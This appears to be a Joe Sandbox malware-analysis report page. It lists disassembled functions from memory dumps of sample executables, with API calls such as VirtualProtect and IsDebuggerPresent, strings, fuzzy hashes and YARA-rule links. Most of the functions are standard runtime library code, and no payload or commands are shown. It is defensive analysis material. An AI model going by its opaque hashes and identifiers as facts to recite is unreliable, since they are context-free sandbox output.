API String ID: 3732870572-2766056989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: b921236203fc61f911d58a87d1285fb54b04bc062ebccb16c4a6da320c13e0d2
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: 30212CB1E44218ABDB10DFD4CC49FAEB7B9FB45B14F204619F605BB280C779A900CBA5

Function 00989100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00989138
__aulldiv.LIBCMT ref: 00989146

Strings

@, xrefs: 00989113

Memory Dump Source

Source File: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: 1643f845c881479f84ba589c7448acf42267cb7ad6880aa5f70fe73595f1f7b4
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: F20112B0E48309FBEB10EBD4CC4DB9DB778AB41705F248458F70576280D77895458B99

Function 009615D5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 009615DC
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00961614

Part of subcall function 009651E1: _Yarn.LIBCPMT ref: 00965200
Part of subcall function 009651E1: _Yarn.LIBCPMT ref: 00965224

Strings

bad locale name, xrefs: 00961622

Memory Dump Source

Source File: 00000008.00000002.1475197950.0000000000961000.00000020.00000001.01000000.00000006.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.1475170521.0000000000960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475235442.000000000097E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475285739.0000000000988000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475363901.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475395169.00000000009D6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.1475569550.00000000009D8000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_2OJr0kqvYIvMGmMoMnnzAHbc.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: c2665e648a5a8dbc797f96d967cc7d509c24e6e5b8e5a1f46913866b91efce9b
Instruction ID: 71f3fc9559c608753da47dd5819766596c006d78112a21d546c0916f311548b0
Opcode Fuzzy Hash: c2665e648a5a8dbc797f96d967cc7d509c24e6e5b8e5a1f46913866b91efce9b
Instruction Fuzzy Hash: C3F03A72545B809E83319F7A9881547FBE4BE69310794CE2FE1DEC3A11D730E504CBAA

Analysis Process: HJCfr5V5_QVbJA3PPM7OVXSs.exePID: 5752, Parent PID: 8132COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	229
Total number of Limit Nodes:	5

Executed Functions

Function 00CD2094 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 755
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00D58CE0,000004E4,00000040,?), ref: 00CD2924

Strings

N, xrefs: 00CD2899

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: N
API String ID: 544645111-1130791706
Opcode ID: be391f3c8e8156da0b8f3361d9aa04a8c0be97cacf0da1745310f4206aa256dc
Instruction ID: 2a260ce75db75fb2abeb572451bef8084e775069582ef426fcb50a37bdb9ebe3
Opcode Fuzzy Hash: be391f3c8e8156da0b8f3361d9aa04a8c0be97cacf0da1745310f4206aa256dc
Instruction Fuzzy Hash: 3102DD2B634E1B06E30C203A8D532E2D44ED7FA731F569337BF66977F4E25A09429284

Function 00CE5C96 Relevance: 7.7, APIs: 5, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 00CE5D1D
__alloca_probe_16.LIBCMT ref: 00CE5DDE
__freea.LIBCMT ref: 00CE5E45

Part of subcall function 00CE4D68: HeapAlloc.KERNEL32(00000000,00000000,?,?,00CD7A85,?,?,?,?,?,00CD119C,?,00000001), ref: 00CE4D9A

__freea.LIBCMT ref: 00CE5E5A
__freea.LIBCMT ref: 00CE5E6A

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 79c15df499fd52ad2fea8501f778f0e8d2254a47600b139e692c95a63297ccf0
Instruction ID: 31aeb327232a626d406b259f883b0fa796f8d4b85b687b5f0883a583b80fc3ed
Opcode Fuzzy Hash: 79c15df499fd52ad2fea8501f778f0e8d2254a47600b139e692c95a63297ccf0
Instruction Fuzzy Hash: 2D51D27260068AAFEF245FA6CD45EBB36A9EF44758B190129FD19D7240E734CF10D7A0

Function 00CE7BF2 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CE7722: GetOEMCP.KERNEL32(00000000,?,?,00000016,?), ref: 00CE774D

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00CE7A39,?,00000000,?,00000016,?), ref: 00CE7C53
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00CE7A39,?,00000000,?,00000016,?), ref: 00CE7C95

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 177971697b988c0c2949a3d826eab8df13237e3becaac451207f5c0cfe1b85de
Instruction ID: 30769b86311933a610eb54da4995bca6a2744a116a6efa13bf5ea009ece84354
Opcode Fuzzy Hash: 177971697b988c0c2949a3d826eab8df13237e3becaac451207f5c0cfe1b85de
Instruction Fuzzy Hash: F85107709086859EDB21CF37C8456BABBE9FF41300F24466ED0A687251E7749746CB51

Function 00CE1FD9 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00CE5D84,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00CE200D
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00CE5D84,?,?,00000000,?,00000000), ref: 00CE202B

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 5623975909b958519af723f7e02eccf22f257d9658d6998768250606f1629a13
Instruction ID: 9a3f72dcc7679af2a2f86b3432a4cb0bcc7e1a9959218cf28d1994fa1df15b3a
Opcode Fuzzy Hash: 5623975909b958519af723f7e02eccf22f257d9658d6998768250606f1629a13
Instruction Fuzzy Hash: ACF0683240019ABBCF226F91DC45EDE7F2ABB587A0B098010FE1825060C636C971EB90

Function 00CE77F6 Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,00CE7A45,00CE7A39,00000000), ref: 00CE7828

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 42691158bc2395a25bbf5d77d333c5802a63b9b44630f170bb143a6dde0262f9
Instruction ID: bd00e1c2fa9d19b0699b6a14fef4e9c1188b25f509d708516a49e06fedcc928e
Opcode Fuzzy Hash: 42691158bc2395a25bbf5d77d333c5802a63b9b44630f170bb143a6dde0262f9
Instruction Fuzzy Hash: B7514E715082989EDB218B2ACC84BE67BB8EF55304F2406ADD59AD7182D3349E46DB20

Non-executed Functions

Function 00CEA060 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00CEA37E,00000002,00000000,?,?,?,00CEA37E,?,00000000), ref: 00CEA0F9
GetLocaleInfoW.KERNEL32(?,20001004,00CEA37E,00000002,00000000,?,?,?,00CEA37E,?,00000000), ref: 00CEA122
GetACP.KERNEL32(?,?,00CEA37E,?,00000000), ref: 00CEA137

Strings

OCP, xrefs: 00CEA0B4
ACP, xrefs: 00CEA07E

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: abb978e03e9e75c2ce226c9dbcd2edb7976394f4253f4949c0e01c8dde2a9a09
Instruction ID: 83106deb538c812e693a043212df824f2cb2fecfca57b86dc9b580ec050ee0cb
Opcode Fuzzy Hash: abb978e03e9e75c2ce226c9dbcd2edb7976394f4253f4949c0e01c8dde2a9a09
Instruction Fuzzy Hash: 47213D72600185EEEB348F16CD01B9BB2A6AF54BA4F568464EA1BDB114F732FF40D352

Function 00CEA235 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CE16FA: GetLastError.KERNEL32(?,00000000,00CDE04F,?,?,?,?,00000003,00CDB595,?,00CDB504,00000000,00000016,00CDB713), ref: 00CE16FE
Part of subcall function 00CE16FA: SetLastError.KERNEL32(00000000,00000016,00CDB713,?,?,?,?,?,00000000), ref: 00CE17A0

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00CEA341
IsValidCodePage.KERNEL32(00000000), ref: 00CEA38A
IsValidLocale.KERNEL32(?,?), ref: 00CEA399
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00CEA3E1
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00CEA400

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: fb053caed25b3d95d176ef0856f2357a5e2daef0d3e466637b2d1ba46e7bf04e
Instruction ID: 5d0622845418966856b372dc63775e61b08637f7c9721fdd3f6077babbc35f56
Opcode Fuzzy Hash: fb053caed25b3d95d176ef0856f2357a5e2daef0d3e466637b2d1ba46e7bf04e
Instruction Fuzzy Hash: 30517372A00285AFDB10DFA6DC45BBE77B8FF44700F184569E915EB1A0E770EA04DB62

Function 00CE98D1 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CE16FA: GetLastError.KERNEL32(?,00000000,00CDE04F,?,?,?,?,00000003,00CDB595,?,00CDB504,00000000,00000016,00CDB713), ref: 00CE16FE
Part of subcall function 00CE16FA: SetLastError.KERNEL32(00000000,00000016,00CDB713,?,?,?,?,?,00000000), ref: 00CE17A0

GetACP.KERNEL32(?,?,?,?,?,?,00CDF766,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00CE9992
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00CDF766,?,?,?,00000055,?,-00000050,?,?), ref: 00CE99BD
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00CE9B20

Strings

utf8, xrefs: 00CE9A8F

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: c894e2b39c5842cd0f20a5b54abde1a4a36fd133618b2cc5b1e0b97a47832f13
Instruction ID: 26194a2a795c142d4bb06c3ef9ec9823fbcd4fcea0c8e900d6a07eac1dce8504
Opcode Fuzzy Hash: c894e2b39c5842cd0f20a5b54abde1a4a36fd133618b2cc5b1e0b97a47832f13
Instruction Fuzzy Hash: 2D71D671600382AADB24AB77DC46BBA73ACEF45750F144439F91ADB182FB70EA40E751

Function 00CD7775 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00CD7781
IsDebuggerPresent.KERNEL32 ref: 00CD784D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00CD7866
UnhandledExceptionFilter.KERNEL32(?), ref: 00CD7870

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: a6809d9f27442963b09286ad79dd63d92daf551be15a157e868c796815256094
Instruction ID: cbdd4604ea00fac685a33ee62d9fcf7eba909f2a5ff58f4b400227a938737540
Opcode Fuzzy Hash: a6809d9f27442963b09286ad79dd63d92daf551be15a157e868c796815256094
Instruction Fuzzy Hash: F231E375D052189ADF21EFA4D9897CDBBB8AF08340F1041AAE50CAB290EB709B85DF45

Function 00CF938D Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: 599f181de708aedaf2bd4f3e920ad5a5489b54e55f740fb468c945233ca4a0b2
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: CCF08236904118EBCF61CF55D804BBAF7B8EB43360F253055D509B3260C330EE14DA99

Function 00D1A556 Relevance: 54.3, APIs: 36, Instructions: 344
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

operator+.LIBCMT ref: 00D1A571

Part of subcall function 00D17680: DName::DName.LIBCMT ref: 00D17693
Part of subcall function 00D17680: DName::operator+.LIBCMT ref: 00D1769A

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: NameName::Name::operator+operator+
String ID:
API String ID: 2937105810-0
Opcode ID: 2d53c3902569e9784ef8fb12d3ca9c9f454977bad3efebfb259204c3ad6fcad2
Instruction ID: 106ae30689ef8f90c7880125c75e916a20e0d3fbec449730861ba9cbec05d424
Opcode Fuzzy Hash: 2d53c3902569e9784ef8fb12d3ca9c9f454977bad3efebfb259204c3ad6fcad2
Instruction Fuzzy Hash: FED1F971905209BFDB11DFA8E895AEEBBB8EF04310F54406AE501E7291EF349A85CB71

Function 00D1B29E Relevance: 27.3, APIs: 18, Instructions: 274
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnDecorator::getECSUDataType.LIBCMT ref: 00D1B43D
DName::operator=.LIBCMT ref: 00D1B4EB
DName::operator+=.LIBCMT ref: 00D1B516
DName::DName.LIBCMT ref: 00D1B57B
DName::operator+.LIBCMT ref: 00D1B582
DName::DName.LIBCMT ref: 00D1B5A5
DName::operator+.LIBCMT ref: 00D1B5AC
DName::operator+=.LIBCMT ref: 00D1B5B8
DName::operator=.LIBCMT ref: 00D1B5DF
DName::operator+=.LIBCMT ref: 00D1B5F1
UnDecorator::getPtrRefType.LIBCMT ref: 00D1B61A
operator+.LIBCMT ref: 00D1B62C

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Decorator::getNameName::Name::operator+Name::operator=Type$Dataoperator+
String ID:
API String ID: 1129569759-0
Opcode ID: 30b1e72d88142c82e2d5552c373b89b4dacb89b85ea205a481f88f5b85183262
Instruction ID: 3d34b671422280bafd4a089fcdbbc5eabbc586df8f48f4a7b964b00660f86b68
Opcode Fuzzy Hash: 30b1e72d88142c82e2d5552c373b89b4dacb89b85ea205a481f88f5b85183262
Instruction Fuzzy Hash: FD91AD71904209BADB28DF98F885AFD7B75EF19326F288157F511D61A2DF34CAC08A34

Function 00D20B14 Relevance: 24.1, APIs: 16, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 00D20B2D
__calloc_crt.LIBCMT ref: 00D20B51
_free.LIBCMT ref: 00D20B5F
__calloc_crt.LIBCMT ref: 00D20B6D
_free.LIBCMT ref: 00D20B7D
_free.LIBCMT ref: 00D20B83
__copytlocinfo_nolock.LIBCMT ref: 00D20B92
__setlocale_nolock.LIBCMT ref: 00D20B9F
___removelocaleref.LIBCMT ref: 00D20BAB
___freetlocinfo.LIBCMT ref: 00D20BB2
_free.LIBCMT ref: 00D20BB8
__setmbcp_nolock.LIBCMT ref: 00D20BCA
_free.LIBCMT ref: 00D20BD8
___removelocaleref.LIBCMT ref: 00D20BDF
___freetlocinfo.LIBCMT ref: 00D20BE6
_free.LIBCMT ref: 00D20BEC

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref$__copytlocinfo_nolock__setlocale_nolock__setmbcp_nolock
String ID:
API String ID: 2193103758-0
Opcode ID: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction ID: 9f303b710c3a888007a9678e34b2134123ea87731778b6332d2ee1fe11ca5cfd
Opcode Fuzzy Hash: 784abcef5afcd593a1ca4234ae08e44cf487d9407e5e4ef41eebf28f0038ada9
Instruction Fuzzy Hash: 4B21A335144A11FBEB317F29F802D9ABBE5EFA5768B208429F88456163DE35D8808A71

